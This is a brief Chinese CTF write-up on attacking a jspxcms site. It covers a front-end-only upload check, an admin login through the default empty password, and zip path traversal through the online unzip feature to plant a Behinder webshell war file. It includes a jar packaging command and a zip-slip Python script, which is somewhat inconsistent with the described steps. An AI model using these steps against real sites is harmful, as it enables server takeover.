ctf中遇到的一道web题,学习到了一些新知识,整理如下
打开后是一个jspxcms系统,然后注册登陆后在头像处有上传,试了下发现应该无法绕过,然后在投稿处有图片和附件上传,抓包后发现此处只对前端做了校验,可以达到任意文件上传,正当感觉难道这么简单的时候,访问webshell发现403没有权限访问,试了试jspx发现也是不行,百度查了一下这个cms的配置文件对jsp文件做了限制,不能解析出来。
一开始没有全面的去了解这个cms的漏洞信息,然后进后台发现没验证码就是一顿爆破,top1000都不行,然后查了一下官方文档,发现默认是空密码!!!
随之进入系统后有文件上传,可以上传zip文件进行在线解压,随之想办法进行目录穿越上传shell
首先生成自己的war包,进入到java jdk/bin的目录下,将shell文件拷贝在本目录下,这里我用的冰蝎的马
jar.exe cf qax.war qax.jsp
解析来使用脚本生成一个跨路径的压缩文件,并将war包拖放进去
import zipfile
if __name__ == "__main__":
try:
binary = b'<script>alert("helloworld")</script>'
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test.zip")
zipFile.writestr("../../../go.html", binary)
zipFile.close()
except IOError as e:
raise e
ok,接下来就可以上冰蝎连接读取flag了,路径localhost/xxx/xxx.jsp